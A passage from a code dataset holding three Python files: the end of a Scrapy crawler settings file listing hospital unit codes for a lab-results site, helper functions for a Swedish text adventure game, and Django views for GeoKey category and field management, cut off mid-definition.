'Observacao',\n 'Observacoes',\n 'oral']\n\n# exporta lposto da página de busca da AFIP para um dicionário\n'''\n{k: v for d in [{o.xpath('./text()').extract_first(): '*' if o.xpath('./@value').extract_first() == '*' else\nint(o.xpath('./@value').extract_first())} for o in response.xpath('//td/select[@name=\"lposto\"]/option')] for k, v in d.items()}\n'''\nunidades = {\n u'HSP MANDAQUI CENTRO CIRURGICO AMBULATORI': 13316,\n u'-- Todos --': '*',\n u'HSP MANDAQUI UTI NEO 1o ANDAR': 13331,\n u'HSP MANDAQUI GINECO-MATERNIDADE 2B 2 And': 13313,\n u'HSP MANDAQUI UTI ADULTO 2o A': 13310,\n u'HSP MANDAQUI OBSERVACAO PS 2o B': 13311,\n u'HSP MANDAQUI PRE PARTO 3 Andar': 13322,\n u'HSP MANDAQUI CL. MED. 4 ANDAR B': 13336,\n u'HSP MANDAQUI BERCARIO 1o ANDAR': 13305,\n u'HSP MANDAQUI CLINICA MEDICA 5o C': 13303,\n u'HSP MANDAQUI NEURO/ORTOPEDIA 5o B': 13302,\n u'HSP MANDAQUI UTI ADULTO 6o A': 13338,\n u'HSP MANDAQUI PENITENCIARIA': 13329,\n u'HSP MANDAQUI PS ENFERMARIAS 1 Andar': 13314,\n u'HSP MANDAQUI PS ADULTO 1o ANDAR': 13320,\n u'HSP MANDAQUI PS EMERGENCIA': 13323,\n u'HSP MANDAQUI C.HOSPITALAR PENITENCIARIA': 13328,\n u'HSP MANDAQUI UTI NEONATAL 1 ANDAR': 13325,\n u'HSP MANDAQUI PS 1 Andar': 13309,\n u'HSP MANDAQUI PEDIATRIA 3o ANDAR C': 13304,\n u'HSP MANDAQUI C.O/P.PARTO 3o D': 13318,\n u'HSP MANDAQUI PS INFANTIL - TERREO': 13324,\n u'HSP MANDAQUI SEMI INTENSIVA 5 AND': 13326,\n u'HSP MANDAQUI PSIQUIATRIA': 13330,\n u'HSP MANDAQUI PCI 1 Andar': 13321,\n u'HSP MANDAQUI MATERNIDADE 3C 3 Andar': 13306,\n u'HSP MANDAQUI CLINICA MEDICA 4o C': 13301,\n u'HSP MANDAQUI SEMI INTENS 5 ANDAR': 13332,\n u'HSP MANDAQUI HSP-DIA CIRURGIA': 13334,\n u'HSP MANDAQUI CENTRO CIRURGIC 6o B': 13315,\n u'HSP MANDAQUI C.CIRURG. 5 ANDAR A': 13333,\n u'HSP MANDAQUI UTI PEDIATRICA 3o B': 13312,\n u'HSP MANDAQUI CLIN. CIRURGICA 5 AN': 13319,\n u'HSP MANDAQUI SEMI/RETA PS 1 ANDAR': 13317,\n u'HSP MANDAQUI PS MEDICACAO 1 Andar': 13308,\n u'HSP MANDAQUI GINECO-MATERNI 2o C': 13307,\n u'HSP MANDAQUI CL. MED. 4 ANDAR A': 13335,\n u'HSP MANDAQUI AMBULATORIO HOSPITAL': 13327}\n\n# setores ativos por default\nsetores = [\n unidades[x] for x in [\n 'HSP MANDAQUI UTI ADULTO 2o A',\n 'HSP MANDAQUI UTI ADULTO 6o A']]\n\n# Feed exportes\n\n# FEED_FORMAT = 'json'\n\nFEED_STORE_EMPTY = False\n\n# FEED_URI = \"exames-%s.json\" % datetime.datetime.now().strftime('%Y%m%d')\n\nFEED_EXPORTERS = {\n # 'csv': 'afip.feedexport.CSVkwItemExporter'\n #\t'json': 'afip.feedexport.JSONkwItemExporter'\n}\n\n# Crawl responsibly by identifying yourself (and your website) on the\n# user-agent\nUSER_AGENT = 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)'\n\n# Obey robots.txt rules\nROBOTSTXT_OBEY = True\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n# CONCURRENT_REQUESTS = 32\n\n# Configure a delay for requests for the same website (default: 0)\n# See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\n# DOWNLOAD_DELAY = 3\n# The download delay setting will honor only one of:\n# CONCURRENT_REQUESTS_PER_DOMAIN = 16\n# CONCURRENT_REQUESTS_PER_IP = 16\n\n# Disable cookies (enabled by default)\nCOOKIES_ENABLED = False\n\n# Disable Telnet Console (enabled by default)\n# TELNETCONSOLE_ENABLED = False\n\n# Override the default request headers:\n# DEFAULT_REQUEST_HEADERS = {\n# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n# 'Accept-Language': 'en',\n# }\n\n# Enable or disable spider middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\n# SPIDER_MIDDLEWARES = {\n# 'afip.middlewares.MyCustomSpiderMiddleware': 543,\n# }\n\n# Enable or disable downloader middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n# DOWNLOADER_MIDDLEWARES = {\n# 'afip.getpacientes.MyDownloaderMiddleware': 543,\n# }\n\n# Enable or disable extensions\n# See http://scrapy.readthedocs.org/en/latest/topics/extensions.html\n# EXTENSIONS = {\n# 'scrapy.extensions.telnet.TelnetConsole': None,\n# }\n\n# Configure item pipelines\n# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n 'afip.pipelines.FullJsonExportPipeline': 200\n}\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See http://doc.scrapy.org/en/latest/topics/autothrottle.html\nAUTOTHROTTLE_ENABLED = True\n# The initial download delay\n# AUTOTHROTTLE_START_DELAY = 5\n# The maximum download delay to be set in case of high latencies\n# AUTOTHROTTLE_MAX_DELAY = 60\n# The average number of requests Scrapy should be sending in parallel to\n# each remote server\n# AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0\n# Enable showing throttling stats for every response received:\n# AUTOTHROTTLE_DEBUG = False\n\n# Enable and configure HTTP caching (disabled by default)\n# See\n# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\nHTTPCACHE_ENABLED = False\nHTTPCACHE_EXPIRATION_SECS = 0\nHTTPCACHE_DIR = 'httpcache'\n#HTTPCACHE_IGNORE_HTTP_CODES = []\n# HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'\n","sub_path":"afip/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":7068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"255609271","text":"#separerbara funktioner\n\n#difstat, karta, markpos, plusförmåga, listval \n\nimport time\nimport sys\n\ndef listval(lista):\n string=''\n n=1\n for d in lista:\n if n>1:\n string+='\\n'\n string+=str(n)+': '+d\n n+=1\n print(string)\n while True:\n try:\n ans=int(input())\n assert ans>0 and ans<=len(lista)\n except(ValueError,AssertionError):\n print('Försök igen')\n continue\n break\n return ans-1\n\ndef uniquelist(seq):\n seen = set()\n result = []\n for item in seq:\n if item in seen: continue\n seen.add(item)\n result.append(item)\n return result\n\ndef karta(position):\n print('')\n\ndef markpos(position):\n return True\n\ndef difstat(vem,stat,plus,tak=100,mini=0,noprint=False):\n maxad=False\n if stat == 'liv':\n vem.liv+=plus\n if vem.hp > 0:\n vem.hp+=plus\n word='liv'\n\n elif stat == 'hp':\n if vem.hp == vem.liv and plus > 0:\n return False\n vem.hp+=plus\n if vem.hp > vem.liv:\n vem.hp = vem.liv\n maxad=True\n if vem.hp < 0:\n vem.hp = 0\n word='hp'\n \n elif isinstance(stat,str):\n if vem.stats[stat] >= tak and plus > 0:\n return False\n vem.stats[stat]+=plus\n if vem.stats[stat]>tak:\n vem.stats[stat]=tak\n maxad=True\n if vem.stats[stat]<=mini:\n if stat == 'mkr':\n vem.stats[stat]=0\n else:\n vem.stats[stat]=1\n maxad=True\n else:\n if vem.mods[stat] >= tak and plus > 0:\n return False\n vem.mods[stat]+=plus\n if vem.mods[stat]>tak:\n vem.mods[stat]=tak\n maxad=True\n if vem.mods[stat]<=mini:\n vem.mods[stat]=0\n maxad=True\n \n if stat=='smi':\n word='smidighet' \n if stat=='str':\n word='styrka'\n if stat=='mkr':\n word='magikraft'\n \n if stat==0:\n if not noprint:\n if plus>0:\n print(vem.namn+' blev långsammare\\n')\n if plus<0:\n print(vem.namn+' blev snabbare\\n')\n return True\n if stat==1:\n word='pricksäkerhet'\n if stat==2:\n word='beskydd'\n if stat==3:\n word='undvikning'\n\n if not noprint:\n if maxad:\n if stat == 'hp':\n print(vem.namn+' fick full hp\\n')\n elif isinstance(stat,str):\n print(vem.namn+' har nu '+str(vem.stats[stat])+' i '+word+'\\n')\n else:\n print(vem.namn+' har nu '+str(vem.mods[stat])+' i '+word+'\\n')\n elif plus != 0:\n if stat == 'hp':\n print(vem.namn+' återhämtade '+str(plus)+' hp\\n')\n else:\n print(vem.namn+' fick '+str(plus)+' i '+word+'\\n')\n\n return True\n\ndef plusformaga(vem,typ,namn,mp=0,tabort=False):\n if typ==1: #förmåga\n vem.formagor.append(namn)\n if typ==2: #magi\n vem.magier.append((namn,mp))\n if typ==3: #special\n vem.special.append(namn)\n if tabort: #uppgradering på förmågor\n vem.formagor.remove(tabort)\n print(vem.namn+' lärde sig '+namn+'\\n')\n\ndef slowprint(string, extraslow=1):\n for c in string:\n sys.stdout.write(c)\n sys.stdout.flush()\n time.sleep(0.045*extraslow)\n\ndef nollutrustning(spelare):\n foremal = list()\n for s in spelare:\n foremal += s.unequip()\n return foremal\n\n#funktion för att ladda gamla filer med ny version\ndef overgang3till4():\n slowprint('I fängelsehålan möter ni Unghäxan.\\n')\n time.sleep(0.5)\n slowprint('Unghäxan: Jag var den snälla häxans elev.\\n'+\n 'Den elaka häxan har lyckats nästla sig in här på slottet\\n'+\n 'och styr i praktiken bakom kulisserna.\\n'+\n 'Jag blev tillfångatagen, men den snälla häxan har lyckats gömma sig.\\n')\n time.sleep(0.7)\n slowprint('Mer soldater kommer att komma snart. Men ni kom ifrån skuggvärlden,\\n'+\n 'den snälla häxan sa att ni måste ha hitttat Djurfrämlingens bok?\\n')\n time.sleep(0.7)\n slowprint('Otroligt...!\\n'+\n 'Men det verkar som en del av den magiska skriften bleknat bort...\\n'+\n 'Unghäxan uttalar en lång trollformel...!\\n')\n time.sleep(1)\n slowprint('Det kommer fram symboler på tomma sidor i boken!\\n'+\n 'Unghäxan: Jag vågar inte lova var ni hamnar men om ni läser här\\n'+\n 'kommer ni förflyttas någon annanstans...\\n'+\n 'Hitta den snälla häxan! Använd boken nu, innan soldaterna kommer!\\n')\n time.sleep(2)\n slowprint('Du läser ur Djurfrämlingens bok...\\n',2)\n time.sleep(2)\n slowprint('Ni hamnade 50 år framåt i tiden!\\n')\n print('Ni står utanför slottet.')\n","sub_path":"v.1.2.1/funktioner.py","file_name":"funktioner.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"376418080","text":"from django.views.generic import CreateView, TemplateView\nfrom django.shortcuts import redirect\nfrom django.core.urlresolvers import reverse\nfrom django.contrib import messages\nfrom django.template.defaultfilters import slugify\nfrom django.utils.html import strip_tags\nfrom django.utils.safestring import mark_safe\n\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nfrom braces.views import LoginRequiredMixin\n\nfrom geokey.projects.models import Project\nfrom geokey.projects.views import ProjectContext\nfrom geokey.core.decorators import (\n handle_exceptions_for_ajax, handle_exceptions_for_admin\n)\n\nfrom .base import STATUS\nfrom .models import (\n Category, Field, TextField, NumericField, LookupField, LookupValue,\n MultipleLookupField, MultipleLookupValue\n)\nfrom .forms import CategoryCreateForm, FieldCreateForm\nfrom .serializers import (\n CategorySerializer, FieldSerializer, LookupFieldSerializer\n)\nfrom geokey.contributions.models import Observation\n\n\nclass CategoryContext(object):\n\n @handle_exceptions_for_admin\n def get_context_data(self, project_id, category_id, *args, **kwargs):\n category = Category.objects.as_admin(\n self.request.user, project_id, category_id\n )\n\n return super(CategoryContext, self).get_context_data(\n project=category.project,\n category=category,\n *args,\n **kwargs\n )\n\n\nclass FieldContext(object):\n\n @handle_exceptions_for_admin\n def get_context_data(self, project_id, category_id, field_id,\n *args, **kwargs):\n field = Field.objects.as_admin(\n self.request.user, project_id, category_id, field_id)\n\n return super(FieldContext, self).get_context_data(\n project=field.category.project,\n category=field.category,\n field=field,\n *args,\n **kwargs\n )\n\n\n# ############################################################################\n#\n# Administration views\n#\n# ############################################################################\n\nclass CategoryList(LoginRequiredMixin, ProjectContext, TemplateView):\n\n \"\"\"\n Displays a list of all catgories for a given project.\n \"\"\"\n template_name = 'categories/category_list.html'\n\n\nclass CategoryOverview(LoginRequiredMixin, CategoryContext, TemplateView):\n\n \"\"\"\n Landing page when a user clicks on a category. Displays a lis of fields\n assigned to the category.\n \"\"\"\n template_name = 'categories/category_overview.html'\n\n\nclass CategoryCreate(LoginRequiredMixin, ProjectContext, CreateView):\n\n \"\"\"\n Displays the create category page and creates the category\n when POST is requested.\n \"\"\"\n form_class = CategoryCreateForm\n template_name = 'categories/category_create.html'\n\n def get_context_data(self, **kwargs):\n \"\"\"\n Returns the context to render the view. Overwrites the method to add\n the project.\n\n Returns\n -------\n dict\n context; {'project': }\n \"\"\"\n\n project_id = self.kwargs['project_id']\n\n return super(CategoryCreate, self).get_context_data(\n project_id, **kwargs\n )\n\n def form_valid(self, form):\n \"\"\"\n Is called when the POSTed data is valid and creates the category.\n\n Parameters\n ----------\n form : geokey.categories.forms.CategoryCreateForm\n Represents the user input\n \"\"\"\n\n data = form.cleaned_data\n\n project_id = self.kwargs['project_id']\n project = Project.objects.as_admin(self.request.user, project_id)\n\n if project:\n cannot_create = 'New categories cannot be created.'\n\n if project.islocked:\n messages.error(\n self.request,\n 'The project is locked. %s' % cannot_create\n )\n\n return redirect(\n 'admin:category_create',\n project_id=project.id\n )\n else:\n category = Category.objects.create(\n project=project,\n creator=self.request.user,\n name=strip_tags(data.get('name')),\n description=strip_tags(data.get('description')),\n default_status=data.get('default_status')\n )\n\n add_another_url = reverse(\n 'admin:category_create',\n kwargs={\n 'project_id': project_id\n }\n )\n\n messages.success(\n self.request,\n mark_safe('The category has been created. '\n 'Add another category.' % add_another_url)\n )\n\n return redirect(\n 'admin:category_overview',\n project_id=project.id,\n category_id=category.id\n )\n\n\nclass CategorySettings(LoginRequiredMixin, CategoryContext, TemplateView):\n\n \"\"\"\n Displays the category settings page\n \"\"\"\n template_name = 'categories/category_settings.html'\n\n def get_context_data(self, project_id, category_id):\n \"\"\"\n Returns the context to render the view. Overwrites the method to add\n the category.\n\n Parameters\n ----------\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Returns\n -------\n dict\n {\n 'category': \n 'status_types': List of status types for categoies\n 'num_contributions': Number of contributions of that category\n }\n \"\"\"\n\n context = super(CategorySettings, self).get_context_data(\n project_id,\n category_id,\n status_types=STATUS,\n )\n\n if context.get('category'):\n context['num_contributions'] = Observation.objects.filter(\n category=context['category']).count()\n\n return context\n\n def post(self, request, project_id, category_id):\n \"\"\"\n Handles the POST request and updates the category.\n\n Parameters\n ----------\n request : django.http.HttpRequest\n Object representing the request.\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Returns\n -------\n django.http.HttpResponse\n Rendered template\n \"\"\"\n\n context = self.get_context_data(project_id, category_id)\n category = context.pop('category', None)\n\n if category is not None:\n data = request.POST\n\n category.name = strip_tags(data.get('name'))\n category.description = strip_tags(data.get('description'))\n category.default_status = data.get('default_status')\n\n if category.fields.exists():\n display_field = category.fields.get(\n pk=data.get('display_field')\n )\n\n if category.display_field != display_field:\n category.display_field = display_field\n for obs in category.observation_set.all():\n obs.update_display_field()\n obs.save()\n\n category.save()\n\n messages.success(self.request, \"The category has been updated.\")\n context['category'] = category\n return self.render_to_response(context)\n\n\nclass CategoryDisplay(LoginRequiredMixin, CategoryContext, TemplateView):\n\n \"\"\"\n Displat the category display settings, i.e. where colour and icon for the\n category can be set.\n \"\"\"\n template_name = 'categories/category_display.html'\n\n def post(self, request, project_id, category_id):\n \"\"\"\n Handles the POST request and updates the category display settings\n\n Parameters\n ----------\n request : django.http.HttpRequest\n Object representing the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Returns\n -------\n django.http.HttpResponse\n Rendered template\n \"\"\"\n\n context = self.get_context_data(project_id, category_id)\n category = context.pop('category', None)\n\n if category is not None:\n data = request.POST\n\n symbol = request.FILES.get('symbol')\n category.colour = data.get('colour')\n\n if symbol is not None:\n category.symbol.delete()\n category.symbol = symbol\n elif data.get('clear-symbol') == 'true':\n category.symbol.delete()\n category.symbol = None\n\n category.save()\n\n messages.success(\n self.request, 'The display settings have been updated')\n context['category'] = category\n\n return self.render_to_response(context)\n\n\nclass CategoryDelete(LoginRequiredMixin, CategoryContext, TemplateView):\n\n \"\"\"\n Deletes the category.\n \"\"\"\n template_name = 'base.html'\n\n def get(self, request, project_id, category_id):\n \"\"\"\n Deletes the category.\n\n Parameters\n ----------\n request : django.http.HttpRequest\n Object representing the request\n project_id : int\n Identifies the project in the database\n category_id : int\n Identifies the category in the database\n\n Returns\n -------\n django.http.HttpResponseRedirect\n Redirects to category list if category is deleted, category\n settings if project is locked\n django.http.HttpResponse\n Rendered template, if project or category does not exist\n \"\"\"\n\n context = self.get_context_data(project_id, category_id)\n category = context.get('category')\n\n if category:\n if category.project.islocked:\n messages.error(\n self.request,\n 'The project is locked. Category cannot be deleted.'\n )\n return redirect(\n 'admin:category_settings',\n project_id=project_id,\n category_id=category_id\n )\n else:\n category.delete()\n\n messages.success(\n self.request,\n 'The category has been deleted.'\n )\n\n return redirect('admin:category_list', project_id=project_id)\n\n return self.render_to_response(context)\n\n\nclass FieldCreate(LoginRequiredMixin, CategoryContext, CreateView):\n\n \"\"\"\n Displays the create field page.\n \"\"\"\n form_class = FieldCreateForm\n template_name = 'categories/field_create.html'\n\n def get_context_data(self, data=None, **kwargs):\n \"\"\"\n Returns the context to render the view. Overwrites the method to add\n the category and available field types.\n\n Parameters\n ----------\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Returns\n -------\n dict\n {\n 'category': \n 'fieldtypes': List of str, representing the field types\n }\n \"\"\"\n\n project_id = self.kwargs['project_id']\n category_id = self.kwargs['category_id']\n\n context = super(FieldCreate, self).get_context_data(\n project_id, category_id, **kwargs)\n\n context['fieldtypes'] = Field.get_field_types()\n return context\n\n def form_valid(self, form):\n \"\"\"\n Is called when the POSTed data is valid and creates the field.\n\n Parameters\n ----------\n form : geokey.categories.forms.FieldCreateForm\n Represents the user input\n\n Return\n ------\n Redirects to field setting page of the created field\n \"\"\"\n\n data = form.cleaned_data\n\n project_id = self.kwargs['project_id']\n category_id = self.kwargs['category_id']\n category = Category.objects.as_admin(\n self.request.user, project_id, category_id)\n\n if category.project.islocked:\n messages.error(\n self.request,\n 'The project is locked. New fields cannot be created.'\n )\n\n return redirect(\n 'admin:category_field_create',\n project_id=category.project.id,\n category_id=category_id\n )\n else:\n proposed_key = slugify(strip_tags(data.get('name')))\n if len(proposed_key) < 1:\n proposed_key = 'key'\n suggested_key = proposed_key\n\n count = 1\n while category.fields.filter(key=suggested_key).exists():\n suggested_key = '%s-%s' % (proposed_key, count)\n count = count + 1\n\n field = Field.create(\n strip_tags(data.get('name')),\n suggested_key,\n strip_tags(data.get('description')),\n data.get('required'),\n category,\n self.request.POST.get('type')\n )\n\n if isinstance(field, TextField):\n field.textarea = self.request.POST.get('textarea') or False\n field.maxlength = self.request.POST.get('maxlength') or None\n\n elif isinstance(field, NumericField):\n field.minval = self.request.POST.get('minval') or None\n field.maxval = self.request.POST.get('maxval') or None\n\n field.save()\n\n add_another_url = reverse(\n 'admin:category_field_create',\n kwargs={\n 'project_id': project_id,\n 'category_id': category_id\n }\n )\n\n messages.success(\n self.request,\n mark_safe('The field has been created. Add '\n 'another field.' % add_another_url)\n )\n\n return redirect(\n 'admin:category_field_settings',\n project_id=category.project.id,\n category_id=category.id,\n field_id=field.id\n )\n\n\nclass FieldSettings(LoginRequiredMixin, FieldContext, TemplateView):\n\n \"\"\"\n Displays the field settings page\n \"\"\"\n template_name = 'categories/field_settings.html'\n\n def get_context_data(self, project_id, category_id, field_id, **kwargs):\n \"\"\"\n Returns the context to render the view. Overwrites the method to add\n the field and available field types.\n\n Parameters\n ----------\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n field_id : int\n Identifier of the field in the database\n\n Returns\n -------\n dict\n {\n 'field': \n 'status_types': List of str, representing the status types\n 'is_display_field : Boolean, indicates if field is display\n field\n }\n \"\"\"\n\n context = super(FieldSettings, self).get_context_data(\n project_id, category_id, field_id)\n\n if context.get('field'):\n context['status_types'] = STATUS\n context['is_display_field'] = (\n context['field'] == context['field'].category.display_field)\n\n return context\n\n def post(self, request, project_id, category_id, field_id):\n \"\"\"\n Handles the POST request and updates the field.\n\n Parameters\n ----------\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n field_id : int\n Identifier of the field in the database\n\n Returns\n -------\n django.http.HttpResponse\n Rendered template\n \"\"\"\n\n context = self.get_context_data(\n project_id,\n category_id,\n field_id\n )\n field = context.pop('field', None)\n\n if field is not None:\n data = request.POST\n\n field.name = strip_tags(data.get('name'))\n field.description = strip_tags(data.get('description'))\n field.required = data.get('required') or False\n\n if isinstance(field, TextField):\n field.textarea = data.get('textarea') or False\n field.maxlength = data.get('maxlength') or None\n\n elif isinstance(field, NumericField):\n field.minval = data.get('minval') or None\n field.maxval = data.get('maxval') or None\n\n field.save()\n\n messages.success(self.request, 'The field has been updated.')\n context['field'] = field\n\n return self.render_to_response(context)\n\n\nclass FieldDelete(LoginRequiredMixin, FieldContext, TemplateView):\n\n \"\"\"\n Deletes the field.\n \"\"\"\n template_name = 'base.html'\n\n def get(self, request, project_id, category_id, field_id):\n \"\"\"\n Deletes the field.\n\n Parameters\n ----------\n request : django.http.HttpRequest\n Object representing the request\n project_id : int\n Identifies the project in the database\n category_id : int\n Identifies the category in the database\n field_id : int\n Identifies the field in the database\n\n Returns\n -------\n django.http.HttpResponseRedirect\n Redirects to category overview if field is deleted, field\n settings if project is locked\n django.http.HttpResponse\n Rendered template, if project, category or field does not exist\n \"\"\"\n\n context = self.get_context_data(project_id, category_id, field_id)\n field = context.get('field')\n\n if field:\n if field.category.project.islocked:\n messages.error(\n self.request,\n 'The project is locked. Field cannot be deleted.'\n )\n return redirect(\n 'admin:category_field_settings',\n project_id=project_id,\n category_id=category_id,\n field_id=field_id\n )\n else:\n field.delete()\n\n messages.success(self.request, 'The field has been deleted.')\n return redirect(\n 'admin:category_overview',\n project_id=project_id,\n category_id=category_id\n )\n\n return self.render_to_response(context)\n\n\n# ############################################################################\n#\n# AJAX API views\n#\n# ############################################################################\n\n\nclass CategoryUpdate(APIView):\n\n \"\"\"\n API endpoints for a category in the AJAX API.\n \"\"\"\n\n @handle_exceptions_for_ajax\n def get(self, request, project_id, category_id):\n \"\"\"\n Handles the GET request.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n category = Category.objects.as_admin(\n request.user, project_id, category_id)\n\n serializer = CategorySerializer(category)\n return Response(serializer.data)\n\n @handle_exceptions_for_ajax\n def put(self, request, project_id, category_id):\n \"\"\"\n Handles the POST request and updates the category.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n category = Category.objects.as_admin(\n request.user, project_id, category_id)\n\n serializer = CategorySerializer(\n category, data=request.data, partial=True,\n fields=('id', 'name', 'description', 'status'))\n\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass FieldUpdate(APIView):\n\n \"\"\"\n API endpoints for fields.\n \"\"\"\n\n @handle_exceptions_for_ajax\n def put(self, request, project_id, category_id, field_id,\n format=None):\n \"\"\"\n Handles the POST request and updates the category\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n field_id : int\n Identifier of the field in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n field = Field.objects.as_admin(\n request.user, project_id, category_id, field_id)\n\n serializer = FieldSerializer(\n field, data=request.data, partial=True\n )\n\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass FieldLookups(APIView):\n\n \"\"\"\n API endpoint for lookupvalues.\n \"\"\"\n\n @handle_exceptions_for_ajax\n def post(self, request, project_id, category_id, field_id,\n format=None):\n \"\"\"\n Handles the POST request and adds a lookupvalue to the field.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n field_id : int\n Identifier of the field in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n field = Field.objects.as_admin(\n request.user, project_id, category_id, field_id)\n name = strip_tags(request.data.get('name'))\n\n if field.category.project.islocked:\n return Response(\n {'error': 'The project is locked.'},\n status=status.HTTP_400_BAD_REQUEST\n )\n\n if isinstance(field, LookupField):\n LookupValue.objects.create(name=name, field=field)\n\n serializer = LookupFieldSerializer(field)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n elif isinstance(field, MultipleLookupField):\n MultipleLookupValue.objects.create(name=name, field=field)\n\n serializer = LookupFieldSerializer(field)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n else:\n return Response(\n {'error': 'This field is not a lookup field.'},\n status=status.HTTP_404_NOT_FOUND\n )\n\n\nclass FieldLookupsUpdate(APIView):\n\n \"\"\"\n API endpoint for lookupvalues.\n \"\"\"\n\n def get_field(self, user, project_id, category_id, field_id):\n field = Field.objects.as_admin(\n user, project_id, category_id, field_id)\n\n if (isinstance(field, LookupField) or\n isinstance(field, MultipleLookupField)):\n return field\n else:\n return None\n\n @handle_exceptions_for_ajax\n def post(self, request, project_id, category_id, field_id, value_id):\n \"\"\"\n Handles the POST request and updates the lookupvalue symbol.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n field_id : int\n Identifier of the field in the database\n value_id : int\n Identifier of the lookupvalue in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n field = self.get_field(request.user, project_id, category_id, field_id)\n\n if field:\n if field.category.project.islocked:\n return Response(\n {'error': 'The project is locked.'},\n status=status.HTTP_400_BAD_REQUEST\n )\n else:\n value = field.lookupvalues.get(pk=value_id)\n\n name = request.data.get('name')\n\n if name:\n value.name = strip_tags(name)\n\n symbol = request.FILES.get('symbol')\n\n if symbol:\n value.symbol.delete()\n value.symbol = symbol\n elif request.POST.get('clear-symbol') == 'true':\n value.symbol.delete()\n value.symbol = None\n\n value.save()\n\n return Response({\n 'id': value.id,\n 'name': value.name,\n 'symbol': value.symbol.url if value.symbol else None\n })\n else:\n return Response(\n {'error': 'This field is not a lookup field.'},\n status=status.HTTP_404_NOT_FOUND\n )\n\n @handle_exceptions_for_ajax\n def delete(self, request, project_id, category_id, field_id, value_id):\n \"\"\"\n Handles the DELETE request and removes the lookupvalue the category.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n field_id : int\n Identifier of the field in the database\n value_id : int\n Identifier of the lookupvalue in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n field = self.get_field(request.user, project_id, category_id, field_id)\n\n if field:\n if field.category.project.islocked:\n return Response(\n {'error': 'The project is locked.'},\n status=status.HTTP_400_BAD_REQUEST\n )\n else:\n field.lookupvalues.get(pk=value_id).delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n else:\n return Response(\n {'error': 'This field is not a lookup field.'},\n status=status.HTTP_404_NOT_FOUND\n )\n\n\nclass FieldsReorderView(APIView):\n\n \"\"\"\n API endpoint to reorder the fields of a category.\n \"\"\"\n\n @handle_exceptions_for_ajax\n def post(self, request, project_id, category_id):\n \"\"\"\n Handles the DELETE request and removes the lookupvalue the category.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n category = Category.objects.as_admin(\n request.user, project_id, category_id)\n try:\n category.re_order_fields(request.data.get('order'))\n\n serializer = CategorySerializer(category)\n return Response(serializer.data)\n except Field.DoesNotExist:\n return Response(\n {'error': 'One or more field ids where not found.'},\n status=status.HTTP_400_BAD_REQUEST\n )\n\n\n# ############################################################################\n#\n# Public API views\n#\n# ############################################################################\n\nclass SingleCategory(APIView):\n\n \"\"\"\n API endpoint for a single category.\n \"\"\"\n\n @handle_exceptions_for_ajax\n def get(self, request, project_id, category_id):\n \"\"\"\n Handles the GET request and returns the complete category including\n all fields.\n\n Parameters\n ----------\n request : rest_framework.request.Request\n Object reprensting the request\n project_id : int\n Identifier of the project in the database\n category_id : int\n Identifier of the category in the database\n\n Return\n ------\n rest_framework.response.Response\n Reponse to the request\n \"\"\"\n\n category = 